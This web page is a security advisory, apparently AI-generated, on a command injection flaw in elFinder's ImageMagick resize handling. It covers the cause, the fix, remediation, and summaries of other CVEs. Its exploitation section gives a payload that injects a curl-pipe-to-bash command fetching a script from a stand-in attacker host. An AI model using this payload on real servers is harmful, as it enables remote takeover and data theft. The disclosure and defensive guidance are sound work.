CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-8Q4H-8CRM-5CVC

GHSA-8q4h-8crm-5cvc: Remote Command Execution via Command Injection in elFinder ImageMagick CLI Integration

Amit Schendel
Amit Schendel
Senior Security Researcher

Apr 20, 2026·7 min read·41 visits

Executive Summary (TL;DR)

elFinder versions prior to 2.1.67 are vulnerable to unauthenticated remote code execution. The image resize functionality fails to sanitize the `bg` parameter, allowing attackers to inject shell commands into the ImageMagick CLI execution context.

A critical command injection vulnerability in the elFinder web file manager allows unauthenticated remote attackers to execute arbitrary system commands. This flaw occurs when elFinder is configured to use the ImageMagick CLI driver, due to improper sanitization of the background color parameter during image resize operations.

Vulnerability Overview

elFinder is a widely deployed open-source file manager for web applications, providing a user interface and a backend connector for file operations. The application supports various image processing engines to handle tasks such as resizing and cropping. Administrators can configure elFinder to use the ImageMagick command-line interface as the underlying processor when native PHP extensions are unavailable. This specific configuration exposes an attack surface within the image manipulation endpoints.

The vulnerability, tracked as GHSA-8q4h-8crm-5cvc, constitutes an Improper Neutralization of Special Elements used in a Command (CWE-77). It specifically manifests in the handling of the background color parameter during image resize or rotation operations. The application routes this parameter directly into system-level execution contexts without sanitization. This architectural decision creates a direct conduit between external HTTP requests and the underlying operating system shell.

Successful exploitation results in arbitrary command execution on the host server. The injected commands execute under the privilege context of the web server process handling the elFinder requests. This level of access permits complete compromise of the web application, exfiltration of sensitive configuration data, and establishes a foothold for further lateral movement within the network.

Root Cause Analysis

The fundamental flaw resides within the _imgResize method located in the elFinderVolumeDriver.class.php file. This method is responsible for applying transformations to images, such as adjusting dimensions or rotating the image by specific degrees. When a rotation or padding operation requires a background fill, the method accepts a user-controlled bg (background color) parameter to define the fill color.

In vulnerable versions of the application, the elFinderVolumeDriver constructs a system command string to invoke the ImageMagick utilities, specifically convert or mogrify. The application concatenates the bg parameter directly into this string arguments. The PHP script then passes the fully constructed string to native shell execution functions such as exec() or system().

The absence of input neutralization allows shell metacharacters to alter the execution logic of the resulting command. The application expects a string representing a color, such as white or #FFFFFF. However, an attacker can supply shell operators like semicolons, ampersands, or command substitution constructs. The underlying operating system shell interprets these metacharacters as instruction boundaries, executing the attacker's arbitrary commands alongside the intended ImageMagick invocation.

Code Analysis and Fix Completeness

The vulnerability manifests where the application prepares the command arguments for ImageMagick. The application takes the input parameter and directly embeds it into the shell command structure. This pattern demonstrates the danger of relying on string concatenation for command construction instead of using parameterized execution APIs.

// Vulnerable Code Pattern (Conceptual)
// The unsanitized $bg parameter is directly concatenated
$cmd = "convert input.jpg -rotate $degree -background $bg output.jpg";
exec($cmd);

The maintainers addressed this vulnerability in version 2.1.67 by implementing strict input validation on the $bg parameter. Rather than attempting to escape shell characters, which is prone to bypasses, the patch uses an allowlist approach. The application now enforces a strict regular expression against the input value before it can be used in the command construction.

// Patched Code Validation
// Input is validated against a strict regex before use
if (!preg_match('/^(#[0-9a-f]{3,6}|transparent)$/i', $bg)) {
    return false; // Reject the input
}

The fix is complete and highly effective for this specific parameter. The regex preg_match('/^(#[0-9a-f]{3,6}|transparent)$/i', $bg) ensures the background color can only consist of a valid hexadecimal color code or the exact string transparent. The use of the start ^ and end $ anchors is critical, as it prevents attackers from prepending or appending shell commands to an otherwise valid color code. This effectively closes the injection vector.

Exploitation Methodology

Exploitation requires the attacker to identify an elFinder instance configured to use the ImageMagick CLI driver. This configuration is standard in environments lacking the PHP imagick or gd extensions. The attacker initiates the attack by interacting with the elFinder UI or API to trigger an image transformation operation, such as rotating an uploaded image.

The attacker intercepts the HTTP request and modifies the bg parameter. The payload must begin with a syntactically valid shell separator to terminate the convert command arguments, followed by the arbitrary system command. A common injection pattern utilizes the semicolon character to chain commands sequentially.

A specific payload example takes the form of white; curl http://attacker.com/shell.sh | bash; #. When processed by the vulnerable application, the resulting shell string becomes convert input.jpg -rotate 90 -background white; curl http://attacker.com/shell.sh | bash; # output.jpg.

The operating system executes convert, immediately followed by the execution of the curl command. The trailing # acts as a comment character, neutralizing the remainder of the original command string and preventing syntax errors that might interrupt the shell execution. The payload successfully achieves arbitrary code execution without triggering application-level errors.

Impact Assessment

The vulnerability carries a critical severity rating, evidenced by a CVSS base score of 9.8. This score reflects the low attack complexity, the lack of required privileges, and the network-based attack vector. Any user capable of reaching the elFinder connector endpoint can exploit this flaw, provided the underlying ImageMagick CLI configuration is active.

Successful exploitation grants the attacker full command execution capabilities within the context of the web application. The attacker operates with the permissions of the web server service account, typically www-data or apache. This access permits the reading of sensitive configuration files, including database credentials and application secrets stored locally on the server.

The blast radius extends beyond data theft to include complete system compromise. Attackers can deploy persistent backdoors, install ransomware, or use the compromised web server as a staging point for attacks against the internal network. The severity is contingent entirely on the environment's reliance on the ImageMagick CLI; deployments utilizing PHP GD or the native PHP Imagick extension are not susceptible to this specific execution path.

Remediation and Mitigation Guidance

The primary remediation strategy requires upgrading the studio-42/elfinder package to version 2.1.67 or later. Administrators managing elFinder via Composer should update their dependency specifications and run the update command to pull the patched version. Verifying the installation involves confirming the regex validation exists within the elFinderVolumeDriver.class.php file.

If immediate patching is unfeasible, administrators must disable the ImageMagick CLI driver within the elFinder configuration. The application should be reconfigured to utilize the PHP GD extension or the PHP Imagick extension. These native extensions process images through shared libraries and APIs, entirely avoiding the generation of system shell commands and neutralizing the command injection vector.

At the network edge, security teams should implement Web Application Firewall (WAF) rules to inspect traffic destined for the elFinder connector endpoint. The WAF policy must enforce strict input validation on the bg query parameter, blocking requests that contain shell metacharacters such as semicolons, pipes, ampersands, or backticks. This defensive layer provides compensating controls while the underlying application is scheduled for patching.

Official Patches

Studio-42elFinder 2.1.67 Release Notes
Studio-42elFinder Security Advisory

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Web applications utilizing the studio-42/elfinder package prior to version 2.1.67Systems specifically configured to process elFinder images via the ImageMagick Command Line Interface

Affected Versions Detail

Product
Affected Versions
Fixed Version
elFinder
Studio-42
< 2.1.672.1.67
AttributeDetail
Vulnerability ClassCommand Injection (CWE-77)
Attack VectorNetwork
CVSS v3.1 Score9.8 Critical
Authentication RequiredNone
Configuration RequirementImageMagick CLI Driver active
Exploit StatusProof of Concept available
ImpactRemote Code Execution (RCE)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-77
Command Injection

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Known Exploits & Detection

Vulnerability AnalysisProof of concept payload structure discussed in advisory

Vulnerability Timeline

Vulnerability published and advisory created
2026-04-17
Patched version 2.1.67 released by Studio-42
2026-04-17

References & Sources

  • [1]GitHub Security Advisory GHSA-8q4h-8crm-5cvc
  • [2]Studio-42 elFinder Repository Security Advisory
  • [3]elFinder 2.1.67 Release Notes
  • [4]OSV Packagist Ecosystem List
  • [5]GitLab Advisory Database

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•5 minutes ago•CVE-2026-59831
4.4

CVE-2026-59831: Remote Code Execution via Unvalidated URL Scheme Handling in GitHub CLI

GitHub CLI (gh) versions 2.10.0 through 2.95.0 contain an input validation vulnerability in the `gh codespace jupyter` command path. When connecting to a remote Codespace to launch a JupyterLab session, the CLI retrieves a server URL via a remote procedure call (RPC) and passes it directly to the host operating system's default URL dispatcher without validating the scheme or target host. A compromised or malicious Codespace can return a custom protocol URI, such as `vscode://` or `vscode-insiders://`, allowing an attacker to invoke local desktop application handlers and achieve arbitrary command execution on the developer's workstation.

Alon Barad
Alon Barad
1 views•9 min read
•about 1 hour ago•CVE-2026-59191
6.9

CVE-2026-59191: Path Traversal and Arbitrary File Read in CakePHP TwigView FileLoader

A path traversal vulnerability exists in the cakephp/twig-view plugin for the CakePHP framework prior to versions 1.3.3 and 2.1.2. The Cake\TwigView\Twig\FileLoader::findTemplate() method verifies template existence using PHP's native file_exists() function without ensuring the target path resides within configured application or plugin template directories. When user-controlled input is passed to template inclusion mechanisms, an unauthenticated remote attacker can read arbitrary local files accessible to the PHP runtime.

Alon Barad
Alon Barad
3 views•9 min read
•about 2 hours ago•CVE-2026-64855
8.2

CVE-2026-64855: Cryptographic Signature Verification Bypass in soapbar WS-Security Implementation

CVE-2026-64855 (GHSA-859w-52fx-hcm6) is a cryptographic signature verification and authentication bypass vulnerability in the soapbar Python library prior to version 0.13.0. In vulnerable versions, the verify_envelope_bsp() function derives its trust anchor directly from the incoming SOAP message by extracting an untrusted X.509 certificate embedded inside the wsse:BinarySecurityToken header. Because the function checks only the temporal validity of the extracted certificate without performing Certificate Authority (CA) chain validation or certificate pinning, an unauthenticated network attacker can generate a self-signed certificate, sign an arbitrary SOAP payload, and pass verification.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 3 hours ago•GHSA-JP3C-6V3G-MPXV
6.5

GHSA-jp3c-6v3g-mpxv: Uncaught Runtime Panic via Integer Underflow in insomniacslk/dhcp BroadcastRawUDPConn

A denial-of-service vulnerability exists in the Go library github.com/insomniacslk/dhcp within the dhcpv4/nclient4 subpackage. In affected versions, the raw packet parsing function BroadcastRawUDPConn.ReadFrom subtracts the fixed 8-byte UDP header length from the IPv4 payload length declared in the packet header without first verifying that the declared payload length is at least 8 bytes. An unauthenticated attacker on an adjacent local network segment can broadcast or unicast a malformed IPv4 packet with a declared payload length between 0 and 7 bytes, causing a signed integer underflow that passes a negative slice bound into buf.Consume and triggers an unhandled Go runtime panic.

Amit Schendel
Amit Schendel
4 views•12 min read
•about 4 hours ago•CVE-2026-63305
8.1

CVE-2026-63305: OS Command Injection in WWBN AVideo Standalone FFmpeg Script

CVE-2026-63305 (GHSA-g9x9-q7qj-6mv5) is an operating system command injection vulnerability affecting WWBN AVideo (formerly YouPHPTube) versions up to and including 29.0. The defect resides in the standalone FFmpeg execution handler at plugin/API/standAlone/ffmpeg.json.php. When assembling asynchronous post-processing commands, the script concatenates the notifyCode and callback properties from a decrypted payload directly into a shell command string without sanitization. An attacker capable of providing or forging a valid encrypted execution payload can inject shell metacharacters to achieve remote code execution under the privileges of the web server user.

Alon Barad
Alon Barad
4 views•10 min read
•about 7 hours ago•CVE-2026-59192
6.9

CVE-2026-59192: Unsafe Deserialization in CakePHP TwigView UtilsExtension

The cakephp/twig-view plugin integrates the Twig templating engine into the CakePHP framework. Prior to versions 1.3.3 and 2.1.2, the UtilsExtension class exposes PHP's native unserialize() function as a Twig filter without restricting allowed classes. When untrusted data is passed into the unserialize filter within a template, an attacker can trigger PHP Object Injection and execute Property-Oriented Programming (POP) gadget chains, leading to arbitrary code execution or data manipulation.

Alon Barad
Alon Barad
4 views•8 min read